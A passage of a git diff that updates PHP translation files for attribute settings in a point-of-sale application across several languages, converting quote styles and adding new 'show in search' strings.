'بەسەرکەوتوویی تایبەتمەندیت نوێ کردووەتەوە', + 'definition_type' => 'جۆری تایبەتمەندی', + 'definition_type_required' => 'جۆری تایبەتمەندی خانەیەکی پێویستە', + 'definition_unit' => 'یەکەی پێوانەکردن', + 'definition_values' => 'بەهاکانی تایبەتمەندی', + 'new' => 'تایبەتمەندی نوێ', + 'no_attributes_to_display' => 'هیچ تایبەتمەندییەک نییە بۆ پیشاندان', + 'receipt_visibility' => 'ڕەچەتە', + 'show_in_items' => 'لەناو ئایتمەکان نیشانی بدە', + 'show_in_items_visibility' => 'ئایتمەکان', + 'show_in_receipt' => 'لە ڕەچەتەکەدا نیشانی بدە', + 'show_in_receivings' => 'لە بەدەستگەیشتووەکاندا نیشانی بدە', + 'show_in_receivings_visibility' => 'بەدەستگەیشتووکان', + 'show_in_sales' => 'لە فرۆشتندا نیشانی بدە', + 'show_in_sales_visibility' => 'فرۆشتن', + 'show_in_search' => 'لە گەڕاندا نیشانی بدە', + 'show_in_search_visibility' => 'گەڕان', + 'update' => 'تایبەتمەندی نوێ بکەرەوە', ]; diff --git a/app/Language/cs/Attributes.php b/app/Language/cs/Attributes.php index 3213b12e4..8af0b2289 100644 --- a/app/Language/cs/Attributes.php +++ b/app/Language/cs/Attributes.php @@ -1,34 +1,36 @@ "", - "confirm_delete" => "", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "", - "definition_flags" => "", - "definition_group" => "", - "definition_id" => "", - "definition_name" => "", - "definition_name_required" => "", - "definition_one_or_multiple" => "", - "definition_successful_adding" => "", - "definition_successful_deleted" => "", - "definition_successful_updating" => "", - "definition_type" => "", - "definition_type_required" => "", - "definition_unit" => "", - "definition_values" => "", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => '', + 'confirm_delete' => '', + 'confirm_restore' => '', + 'definition_cannot_be_deleted' => '', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => '', + 'definition_flags' => '', + 'definition_group' => '', + 'definition_id' => '', + 'definition_name' => '', + 'definition_name_required' => '', + 'definition_one_or_multiple' => '', + 'definition_successful_adding' => '', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => '', + 'definition_type' => '', + 'definition_type_required' => '', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'Zobrazit ve vyhledávání', + 'show_in_search_visibility' => 'Vyhledávání', + 'update' => '', ]; diff --git a/app/Language/da/Attributes.php b/app/Language/da/Attributes.php index fd643f036..8944f7498 100644 --- a/app/Language/da/Attributes.php +++ b/app/Language/da/Attributes.php @@ -1,34 +1,36 @@ "Egenskabens værdi kan ikke indeholde ':' or '|'", - "confirm_delete" => "Er du sikker på, at du vil slette de valgte egenskaber?", - "confirm_restore" => "Er du sikker på, at du vil gendanne de valgte egenskaber?", - "definition_cannot_be_deleted" => "De valgte egenskaber kunne ikke slettes", - "definition_invalid_group" => "Den valgte gruppe findes ikke eller er ugyldig.", - "definition_error_adding_updating" => "Egenskab {0} Kunne ikke tilføjes eller opdateres. Tjek venligst fejlprotokollen.", - "definition_flags" => "Egenskabens Synlighed", - "definition_group" => "Gruppe", - "definition_id" => "Id", - "definition_name" => "Tilføj egenskab", - "definition_name_required" => "Egenskabens navn er et obligatorisk felt", - "definition_one_or_multiple" => "Egenskab(er)", - "definition_successful_adding" => "Du har tilføjet en genstand", - "definition_successful_deleted" => "Du har slettet en genstand", - "definition_successful_updating" => "Du har opdateret en egenskab", - "definition_type" => "Egenskabs-type", - "definition_type_required" => "Egenskabs-type er et obligatorisk felt", - "definition_unit" => "Måleenhed", - "definition_values" => "Egenskabens værdier", - "new" => "Ny egenskab", - "no_attributes_to_display" => "Ingen genstande at vise", - "receipt_visibility" => "Kvittering", - "show_in_items" => "Vis i genstande", - "show_in_items_visibility" => "Genstande", - "show_in_receipt" => "Vis i kvittering", - "show_in_receivings" => "Vis i modtagelser", - "show_in_receivings_visibility" => "Modtagelser", - "show_in_sales" => "Vis i salg", - "show_in_sales_visibility" => "Salg", - "update" => "Opdater egenskab", + 'attribute_value_invalid_chars' => 'Egenskabens værdi kan ikke indeholde \':\' or \'|\'', + 'confirm_delete' => 'Er du sikker på, at du vil slette de valgte egenskaber?', + 'confirm_restore' => 'Er du sikker på, at du vil gendanne de valgte egenskaber?', + 'definition_cannot_be_deleted' => 'De valgte egenskaber kunne ikke slettes', + 'definition_invalid_group' => 'Den valgte gruppe findes ikke eller er ugyldig.', + 'definition_error_adding_updating' => 'Egenskab {0} Kunne ikke tilføjes eller opdateres. Tjek venligst fejlprotokollen.', + 'definition_flags' => 'Egenskabens Synlighed', + 'definition_group' => 'Gruppe', + 'definition_id' => 'Id', + 'definition_name' => 'Tilføj egenskab', + 'definition_name_required' => 'Egenskabens navn er et obligatorisk felt', + 'definition_one_or_multiple' => 'Egenskab(er)', + 'definition_successful_adding' => 'Du har tilføjet en genstand', + 'definition_successful_deleted' => 'Du har slettet en genstand', + 'definition_successful_updating' => 'Du har opdateret en egenskab', + 'definition_type' => 'Egenskabs-type', + 'definition_type_required' => 'Egenskabs-type er et obligatorisk felt', + 'definition_unit' => 'Måleenhed', + 'definition_values' => 'Egenskabens værdier', + 'new' => 'Ny egenskab', + 'no_attributes_to_display' => 'Ingen genstande at vise', + 'receipt_visibility' => 'Kvittering', + 'show_in_items' => 'Vis i genstande', + 'show_in_items_visibility' => 'Genstande', + 'show_in_receipt' => 'Vis i kvittering', + 'show_in_receivings' => 'Vis i modtagelser', + 'show_in_receivings_visibility' => 'Modtagelser', + 'show_in_sales' => 'Vis i salg', + 'show_in_sales_visibility' => 'Salg', + 'show_in_search' => 'Vis i søgning', + 'show_in_search_visibility' => 'Søgning', + 'update' => 'Opdater egenskab', ]; diff --git a/app/Language/de-CH/Attributes.php b/app/Language/de-CH/Attributes.php index d76085ec7..f25b7bf63 100644 --- a/app/Language/de-CH/Attributes.php +++ b/app/Language/de-CH/Attributes.php @@ -1,34 +1,36 @@ "", - "confirm_delete" => "", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "", - "definition_invalid_group" => "Die ausgewählte Gruppe existiert nicht oder ist ungültig.", - "definition_error_adding_updating" => "", - "definition_flags" => "", - "definition_group" => "", - "definition_id" => "", - "definition_name" => "", - "definition_name_required" => "", - "definition_one_or_multiple" => "", - "definition_successful_adding" => "", - "definition_successful_deleted" => "", - "definition_successful_updating" => "", - "definition_type" => "", - "definition_type_required" => "", - "definition_unit" => "", - "definition_values" => "", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => '', + 'confirm_delete' => '', + 'confirm_restore' => '', + 'definition_cannot_be_deleted' => '', + 'definition_invalid_group' => 'Die ausgewählte Gruppe existiert nicht oder ist ungültig.', + 'definition_error_adding_updating' => '', + 'definition_flags' => '', + 'definition_group' => '', + 'definition_id' => '', + 'definition_name' => '', + 'definition_name_required' => '', + 'definition_one_or_multiple' => '', + 'definition_successful_adding' => '', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => '', + 'definition_type' => '', + 'definition_type_required' => '', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'In Suche anzeigen', + 'show_in_search_visibility' => 'Suche', + 'update' => '', ]; diff --git a/app/Language/de-DE/Attributes.php b/app/Language/de-DE/Attributes.php index cf7bd5348..4afd86482 100644 --- a/app/Language/de-DE/Attributes.php +++ b/app/Language/de-DE/Attributes.php @@ -1,34 +1,36 @@ "Attributwert darf nicht ':' oder '|' enthalten", - "confirm_delete" => "Sind Sie sicher, dass Sie die ausgewählten Attribute löschen möchten?", - "confirm_restore" => "Sind Sie sicher, dass Sie die ausgewählten Attribute wiederherstellen möchten?", - "definition_cannot_be_deleted" => "Ausgewählte Attribute konnten nicht gelöscht werden", - "definition_invalid_group" => "Die ausgewählte Gruppe existiert nicht oder ist ungültig.", - "definition_error_adding_updating" => "Das Attribut {0} konnte nicht hinzugefügt oder aktualisiert werden. Bitte überprüfen Sie den Error-Log.", - "definition_flags" => "Attribut Sichtbarkeit", - "definition_group" => "Gruppe", - "definition_id" => "ID", - "definition_name" => "Attribut hinzufügen", - "definition_name_required" => "Attributname ist ein Pflichtfeld", - "definition_one_or_multiple" => "Attribut(e)", - "definition_successful_adding" => "Artikel erfolgreich hinzugefügt", - "definition_successful_deleted" => "Löschung erfolgreich", - "definition_successful_updating" => "Sie haben das Attributerfolgreich aktualisiert", - "definition_type" => "Attribut Typ", - "definition_type_required" => "Attribut ist ein Pflichtfeld", - "definition_unit" => "Maßeinheit", - "definition_values" => "Attribut Werte", - "new" => "Neues Attribut", - "no_attributes_to_display" => "Keine Elemente zum Anzeigen", - "receipt_visibility" => "Quittung", - "show_in_items" => "In Artikeln anzeigen", - "show_in_items_visibility" => "Artikel", - "show_in_receipt" => "In Quittung anzeigen", - "show_in_receivings" => "In Eingängen anzeigen", - "show_in_receivings_visibility" => "Eingänge", - "show_in_sales" => "In Verkäufen anzeigen", - "show_in_sales_visibility" => "Verkauf", - "update" => "Attribut aktualisieren", + 'attribute_value_invalid_chars' => 'Attributwert darf nicht \':\' oder \'|\' enthalten', + 'confirm_delete' => 'Sind Sie sicher, dass Sie die ausgewählten Attribute löschen möchten?', + 'confirm_restore' => 'Sind Sie sicher, dass Sie die ausgewählten Attribute wiederherstellen möchten?', + 'definition_cannot_be_deleted' => 'Ausgewählte Attribute konnten nicht gelöscht werden', + 'definition_invalid_group' => 'Die ausgewählte Gruppe existiert nicht oder ist ungültig.', + 'definition_error_adding_updating' => 'Das Attribut {0} konnte nicht hinzugefügt oder aktualisiert werden. Bitte überprüfen Sie den Error-Log.', + 'definition_flags' => 'Attribut Sichtbarkeit', + 'definition_group' => 'Gruppe', + 'definition_id' => 'ID', + 'definition_name' => 'Attribut hinzufügen', + 'definition_name_required' => 'Attributname ist ein Pflichtfeld', + 'definition_one_or_multiple' => 'Attribut(e)', + 'definition_successful_adding' => 'Artikel erfolgreich hinzugefügt', + 'definition_successful_deleted' => 'Löschung erfolgreich', + 'definition_successful_updating' => 'Sie haben das Attributerfolgreich aktualisiert', + 'definition_type' => 'Attribut Typ', + 'definition_type_required' => 'Attribut ist ein Pflichtfeld', + 'definition_unit' => 'Maßeinheit', + 'definition_values' => 'Attribut Werte', + 'new' => 'Neues Attribut', + 'no_attributes_to_display' => 'Keine Elemente zum Anzeigen', + 'receipt_visibility' => 'Quittung', + 'show_in_items' => 'In Artikeln anzeigen', + 'show_in_items_visibility' => 'Artikel', + 'show_in_receipt' => 'In Quittung anzeigen', + 'show_in_receivings' => 'In Eingängen anzeigen', + 'show_in_receivings_visibility' => 'Eingänge', + 'show_in_sales' => 'In Verkäufen anzeigen', + 'show_in_sales_visibility' => 'Verkauf', + 'show_in_search' => 'In Suche anzeigen', + 'show_in_search_visibility' => 'Suche', + 'update' => 'Attribut aktualisieren', ]; diff --git a/app/Language/el/Attributes.php b/app/Language/el/Attributes.php index 54a88f00e..f3d8f6792 100644 --- a/app/Language/el/Attributes.php +++ b/app/Language/el/Attributes.php @@ -1,34 +1,36 @@ "Η τιμή του χαρακτηριστικού δεν μπορεί να περιέχει ':' ή '|'", - "confirm_delete" => "Είστε βέβαιοι ότι θέλετε να διαγράψετε τα επιλεγμένα χαρακτηριστικά;", - "confirm_restore" => "Είστε βέβαιοι ότι θέλετε να επαναφέρετε τα επιλεγμένα χαρακτηριστικά;", - "definition_cannot_be_deleted" => "Δεν ήταν δυνατή η διαγραφή των επιλεγμένων χαρακτηριστικών", - "definition_invalid_group" => "Η επιλεγμένη ομάδα δεν υπάρχει ή δεν είναι έγκυρη.", - "definition_error_adding_updating" => "Το χαρακτηριστικό {0} δεν ήταν δυνατό να προστεθεί ή να ενημερωθεί. Ελέγξτε το αρχείο καταγραφής σφαλμάτων.", - "definition_flags" => "Ορατότητα χαρακτηριστικών", - "definition_group" => "Ομάδα", - "definition_id" => "Id", - "definition_name" => "Προσθήκη χαρακτηριστικού", - "definition_name_required" => "Το όνομα του χαρακτηριστικού είναι υποχρεωτικό πεδίο", - "definition_one_or_multiple" => "Χαρακτηριστικό(ά)", - "definition_successful_adding" => "Έχετε προσθέσει με επιτυχία στοιχείο", - "definition_successful_deleted" => "", - "definition_successful_updating" => "Έχετε ενημερώσει με επιτυχία το χαρακτηριστικό", - "definition_type" => "Τύπος Χαρακτηριστικού", - "definition_type_required" => "Ο τύπος ιδιότητας είναι υποχρεωτικό πεδίο", - "definition_unit" => "Μονάδα μέτρησης", - "definition_values" => "Τιμές Χαρακτηριστικών", - "new" => "Νέο χαρακτηριστικό", - "no_attributes_to_display" => "Δεν υπάρχουν στοιχεία για εμφάνιση", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => 'Η τιμή του χαρακτηριστικού δεν μπορεί να περιέχει \':\' ή \'|\'', + 'confirm_delete' => 'Είστε βέβαιοι ότι θέλετε να διαγράψετε τα επιλεγμένα χαρακτηριστικά;', + 'confirm_restore' => 'Είστε βέβαιοι ότι θέλετε να επαναφέρετε τα επιλεγμένα χαρακτηριστικά;', + 'definition_cannot_be_deleted' => 'Δεν ήταν δυνατή η διαγραφή των επιλεγμένων χαρακτηριστικών', + 'definition_invalid_group' => 'Η επιλεγμένη ομάδα δεν υπάρχει ή δεν είναι έγκυρη.', + 'definition_error_adding_updating' => 'Το χαρακτηριστικό {0} δεν ήταν δυνατό να προστεθεί ή να ενημερωθεί. Ελέγξτε το αρχείο καταγραφής σφαλμάτων.', + 'definition_flags' => 'Ορατότητα χαρακτηριστικών', + 'definition_group' => 'Ομάδα', + 'definition_id' => 'Id', + 'definition_name' => 'Προσθήκη χαρακτηριστικού', + 'definition_name_required' => 'Το όνομα του χαρακτηριστικού είναι υποχρεωτικό πεδίο', + 'definition_one_or_multiple' => 'Χαρακτηριστικό(ά)', + 'definition_successful_adding' => 'Έχετε προσθέσει με επιτυχία στοιχείο', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => 'Έχετε ενημερώσει με επιτυχία το χαρακτηριστικό', + 'definition_type' => 'Τύπος Χαρακτηριστικού', + 'definition_type_required' => 'Ο τύπος ιδιότητας είναι υποχρεωτικό πεδίο', + 'definition_unit' => 'Μονάδα μέτρησης', + 'definition_values' => 'Τιμές Χαρακτηριστικών', + 'new' => 'Νέο χαρακτηριστικό', + 'no_attributes_to_display' => 'Δεν υπάρχουν στοιχεία για εμφάνιση', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'Εμφάνιση στην αναζήτηση', + 'show_in_search_visibility' => 'Αναζήτηση', + 'update' => '', ]; diff --git a/app/Language/en-GB/Attributes.php b/app/Language/en-GB/Attributes.php index 0b4bf10cc..51775f7fe 100644 --- a/app/Language/en-GB/Attributes.php +++ b/app/Language/en-GB/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain '_' or '|'", - "confirm_delete" => "Are you sure you want to delete the selected attribute(s)?", - "confirm_restore" => "Are you sure you want to restore the selected attribute(s)?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_invalid_group" => "The selected group does not exist or is invalid.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Items to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \'_\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to delete the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to restore the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_invalid_group' => 'The selected group does not exist or is invalid.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Attributes to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'Show in search', + 'show_in_search_visibility' => 'Search', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/en/Attributes.php b/app/Language/en/Attributes.php index b3ab1fde9..51775f7fe 100644 --- a/app/Language/en/Attributes.php +++ b/app/Language/en/Attributes.php @@ -1,34 +1,36 @@ "Attribute value cannot contain '_' or '|'", - "confirm_delete" => "Are you sure you want to delete the selected attribute(s)?", - "confirm_restore" => "Are you sure you want to restore the selected attribute(s)?", - "definition_cannot_be_deleted" => "Could not delete selected attribute(s)", - "definition_error_adding_updating" => "Attribute {0} could not be added or updated. Please check the error log.", - "definition_invalid_group" => "The selected group does not exist or is invalid.", - "definition_flags" => "Attribute Visibility", - "definition_group" => "Group", - "definition_id" => "Id", - "definition_name" => "Add Attribute", - "definition_name_required" => "Attribute name is a required field", - "definition_one_or_multiple" => "attribute(s)", - "definition_successful_adding" => "You have successfully added item", - "definition_successful_deleted" => "You have successfully deleted", - "definition_successful_updating" => "You have successfully updated attribute", - "definition_type" => "Attribute Type", - "definition_type_required" => "Attribute type is a required field", - "definition_unit" => "Measurement Unit", - "definition_values" => "Attribute Values", - "new" => "New Attribute", - "no_attributes_to_display" => "No Attributes to display", - "receipt_visibility" => "Receipt", - "show_in_items" => "Show in items", - "show_in_items_visibility" => "Items", - "show_in_receipt" => "Show in receipt", - "show_in_receivings" => "Show in receivings", - "show_in_receivings_visibility" => "Receivings", - "show_in_sales" => "Show in sales", - "show_in_sales_visibility" => "Sales", - "update" => "Update Attribute", + 'attribute_value_invalid_chars' => 'Attribute value cannot contain \'_\' or \'|\'', + 'confirm_delete' => 'Are you sure you want to delete the selected attribute(s)?', + 'confirm_restore' => 'Are you sure you want to restore the selected attribute(s)?', + 'definition_cannot_be_deleted' => 'Could not delete selected attribute(s)', + 'definition_error_adding_updating' => 'Attribute {0} could not be added or updated. Please check the error log.', + 'definition_invalid_group' => 'The selected group does not exist or is invalid.', + 'definition_flags' => 'Attribute Visibility', + 'definition_group' => 'Group', + 'definition_id' => 'Id', + 'definition_name' => 'Add Attribute', + 'definition_name_required' => 'Attribute name is a required field', + 'definition_one_or_multiple' => 'attribute(s)', + 'definition_successful_adding' => 'You have successfully added item', + 'definition_successful_deleted' => 'You have successfully deleted', + 'definition_successful_updating' => 'You have successfully updated attribute', + 'definition_type' => 'Attribute Type', + 'definition_type_required' => 'Attribute type is a required field', + 'definition_unit' => 'Measurement Unit', + 'definition_values' => 'Attribute Values', + 'new' => 'New Attribute', + 'no_attributes_to_display' => 'No Attributes to display', + 'receipt_visibility' => 'Receipt', + 'show_in_items' => 'Show in items', + 'show_in_items_visibility' => 'Items', + 'show_in_receipt' => 'Show in receipt', + 'show_in_receivings' => 'Show in receivings', + 'show_in_receivings_visibility' => 'Receivings', + 'show_in_sales' => 'Show in sales', + 'show_in_sales_visibility' => 'Sales', + 'show_in_search' => 'Show in search', + 'show_in_search_visibility' => 'Search', + 'update' => 'Update Attribute', ]; diff --git a/app/Language/es-ES/Attributes.php b/app/Language/es-ES/Attributes.php index 6b05b71df..16996bf0f 100644 --- a/app/Language/es-ES/Attributes.php +++ b/app/Language/es-ES/Attributes.php @@ -1,34 +1,36 @@ "El valor del atributo no puede contener ':' o '|'", - "confirm_delete" => "¿Está seguro de que desea borrar los atributos seleccionados?", - "confirm_restore" => "¿Está seguro de que desea restaurar los atributos seleccionados?", - "definition_cannot_be_deleted" => "No se han podido borrar los atributos seleccionados", - "definition_invalid_group" => "El grupo seleccionado no existe o no es válido.", - "definition_error_adding_updating" => "El atributo {0} no pudo ser agregado o actulizado. Por favor compruebe el registro de errores.", - "definition_flags" => "Visibilidad del atributo", - "definition_group" => "Grupo", - "definition_id" => "Id", - "definition_name" => "Agregar Atributo", - "definition_name_required" => "El nombre del Atributo es un campo obligatorio", - "definition_one_or_multiple" => "atributo(s)", - "definition_successful_adding" => "Ha agregado con éxito el atributo", - "definition_successful_deleted" => "Ha eliminado con éxito", - "definition_successful_updating" => "Ha actualizado con éxito el atributo", - "definition_type" => "Tipo de Atributo", - "definition_type_required" => "Tipo de Atributo es un campo obligatorio", - "definition_unit" => "Unidad de medida", - "definition_values" => "Valores del Atributo", - "new" => "Nuevo Atributo", - "no_attributes_to_display" => "No hay Atributos para mostrar", - "receipt_visibility" => "Recibo", - "show_in_items" => "Mostrar en ítems", - "show_in_items_visibility" => "Ítems", - "show_in_receipt" => "Mostrar en recibo", - "show_in_receivings" => "Mostrar en recibos", - "show_in_receivings_visibility" => "Recibos", - "show_in_sales" => "Mostrar en ventas", - "show_in_sales_visibility" => "Ventas", - "update" => "Actualizar Atributo", + 'attribute_value_invalid_chars' => 'El valor del atributo no puede contener \':\' o \'|\'', + 'confirm_delete' => '¿Está seguro de que desea borrar los atributos seleccionados?', + 'confirm_restore' => '¿Está seguro de que desea restaurar los atributos seleccionados?', + 'definition_cannot_be_deleted' => 'No se han podido borrar los atributos seleccionados', + 'definition_invalid_group' => 'El grupo seleccionado no existe o no es válido.', + 'definition_error_adding_updating' => 'El atributo {0} no pudo ser agregado o actulizado. Por favor compruebe el registro de errores.', + 'definition_flags' => 'Visibilidad del atributo', + 'definition_group' => 'Grupo', + 'definition_id' => 'Id', + 'definition_name' => 'Agregar Atributo', + 'definition_name_required' => 'El nombre del Atributo es un campo obligatorio', + 'definition_one_or_multiple' => 'atributo(s)', + 'definition_successful_adding' => 'Ha agregado con éxito el atributo', + 'definition_successful_deleted' => 'Ha eliminado con éxito', + 'definition_successful_updating' => 'Ha actualizado con éxito el atributo', + 'definition_type' => 'Tipo de Atributo', + 'definition_type_required' => 'Tipo de Atributo es un campo obligatorio', + 'definition_unit' => 'Unidad de medida', + 'definition_values' => 'Valores del Atributo', + 'new' => 'Nuevo Atributo', + 'no_attributes_to_display' => 'No hay Atributos para mostrar', + 'receipt_visibility' => 'Recibo', + 'show_in_items' => 'Mostrar en ítems', + 'show_in_items_visibility' => 'Ítems', + 'show_in_receipt' => 'Mostrar en recibo', + 'show_in_receivings' => 'Mostrar en recibos', + 'show_in_receivings_visibility' => 'Recibos', + 'show_in_sales' => 'Mostrar en ventas', + 'show_in_sales_visibility' => 'Ventas', + 'show_in_search' => 'Mostrar en búsqueda', + 'show_in_search_visibility' => 'Búsqueda', + 'update' => 'Actualizar Atributo', ]; diff --git a/app/Language/es-MX/Attributes.php b/app/Language/es-MX/Attributes.php index ff2619e73..86c5792dd 100644 --- a/app/Language/es-MX/Attributes.php +++ b/app/Language/es-MX/Attributes.php @@ -1,34 +1,36 @@ "El valor del atributo no puede contener ':' or '|'", - "confirm_delete" => "¿Está seguro de eliminar el/los atributo(s) seleccionado(s)?", - "confirm_restore" => "¿Está seguro que quiere restaurar los atributos seleccionados?", - "definition_cannot_be_deleted" => "No ha sido posible eliminar el/los atributo(s) seleccionado(s)", - "definition_invalid_group" => "El grupo seleccionado no existe o no es válido.", - "definition_error_adding_updating" => "El atributo {0} no pudo ser agregado o actualizado. Favor de revisar el registro de errorres.", - "definition_flags" => "Visibilidad del atributo", - "definition_group" => "Grupo", - "definition_id" => "Id", - "definition_name" => "Agregar Atributo", - "definition_name_required" => "El nombre del atributo es un campo requerido", - "definition_one_or_multiple" => "atributo(s)", - "definition_successful_adding" => "Has agregado un atributo correctamente", - "definition_successful_deleted" => "El atributo se ha eliminado correctamente", - "definition_successful_updating" => "El atributo se ha actualizado correctamente", - "definition_type" => "Tipo de atributo", - "definition_type_required" => "El tipo de atributo es un campo requerido", - "definition_unit" => "Unidad de Medida", - "definition_values" => "Valores del atributo", - "new" => "Nuevo atributo", - "no_attributes_to_display" => "Sin artículos para mostrar", - "receipt_visibility" => "Recibo", - "show_in_items" => "Mostrar en artículos", - "show_in_items_visibility" => "Artículos", - "show_in_receipt" => "Mostrar en recibo", - "show_in_receivings" => "Mostrar en recepciones", - "show_in_receivings_visibility" => "Recepciones", - "show_in_sales" => "Mostrar en Ventas", - "show_in_sales_visibility" => "Ventas", - "update" => "Actualizar atributo", + 'attribute_value_invalid_chars' => 'El valor del atributo no puede contener \':\' or \'|\'', + 'confirm_delete' => '¿Está seguro de eliminar el/los atributo(s) seleccionado(s)?', + 'confirm_restore' => '¿Está seguro que quiere restaurar los atributos seleccionados?', + 'definition_cannot_be_deleted' => 'No ha sido posible eliminar el/los atributo(s) seleccionado(s)', + 'definition_invalid_group' => 'El grupo seleccionado no existe o no es válido.', + 'definition_error_adding_updating' => 'El atributo {0} no pudo ser agregado o actualizado. Favor de revisar el registro de errorres.', + 'definition_flags' => 'Visibilidad del atributo', + 'definition_group' => 'Grupo', + 'definition_id' => 'Id', + 'definition_name' => 'Agregar Atributo', + 'definition_name_required' => 'El nombre del atributo es un campo requerido', + 'definition_one_or_multiple' => 'atributo(s)', + 'definition_successful_adding' => 'Has agregado un atributo correctamente', + 'definition_successful_deleted' => 'El atributo se ha eliminado correctamente', + 'definition_successful_updating' => 'El atributo se ha actualizado correctamente', + 'definition_type' => 'Tipo de atributo', + 'definition_type_required' => 'El tipo de atributo es un campo requerido', + 'definition_unit' => 'Unidad de Medida', + 'definition_values' => 'Valores del atributo', + 'new' => 'Nuevo atributo', + 'no_attributes_to_display' => 'Sin artículos para mostrar', + 'receipt_visibility' => 'Recibo', + 'show_in_items' => 'Mostrar en artículos', + 'show_in_items_visibility' => 'Artículos', + 'show_in_receipt' => 'Mostrar en recibo', + 'show_in_receivings' => 'Mostrar en recepciones', + 'show_in_receivings_visibility' => 'Recepciones', + 'show_in_sales' => 'Mostrar en Ventas', + 'show_in_sales_visibility' => 'Ventas', + 'show_in_search' => 'Mostrar en búsqueda', + 'show_in_search_visibility' => 'Búsqueda', + 'update' => 'Actualizar atributo', ]; diff --git a/app/Language/fa/Attributes.php b/app/Language/fa/Attributes.php index 260c48963..174ac67dc 100644 --- a/app/Language/fa/Attributes.php +++ b/app/Language/fa/Attributes.php @@ -1,34 +1,36 @@ "مقدار ویژگی نمی تواند حاوی | یا ـ باشد", - "confirm_delete" => "آیا مطمئن هستید که می خواهید ویژگی (های) انتخاب شده را حذف کنید؟", - "confirm_restore" => "آیا مطمئن هستید که می خواهید ویژگی (های) انتخاب شده را بازیابی کنید؟", - "definition_cannot_be_deleted" => "نمی توان ویژگی (های) انتخابی را حذف کرد", - "definition_invalid_group" => "گروه انتخاب شده وجود ندارد یا نامعتبر است.", - "definition_error_adding_updating" => "ویژگی{0} اضافه نشد یا به روز نمی شود. لطفا گزارش خطا را بررسی کنید.", - "definition_flags" => "قابلیت مشاهده ویژگی", - "definition_group" => "گروه", - "definition_id" => "شناسه", - "definition_name" => "افزودن ویژگی", - "definition_name_required" => "نام ویژگی یک فیلد ضروری است", - "definition_one_or_multiple" => "(ویژگی(ها", - "definition_successful_adding" => "شما مورد را با موفقیت اضافه کردید", - "definition_successful_deleted" => "شما با موفقیت حذف شده اید", - "definition_successful_updating" => "شما ویژگی را با موفقیت به روز کردید", - "definition_type" => "نوع 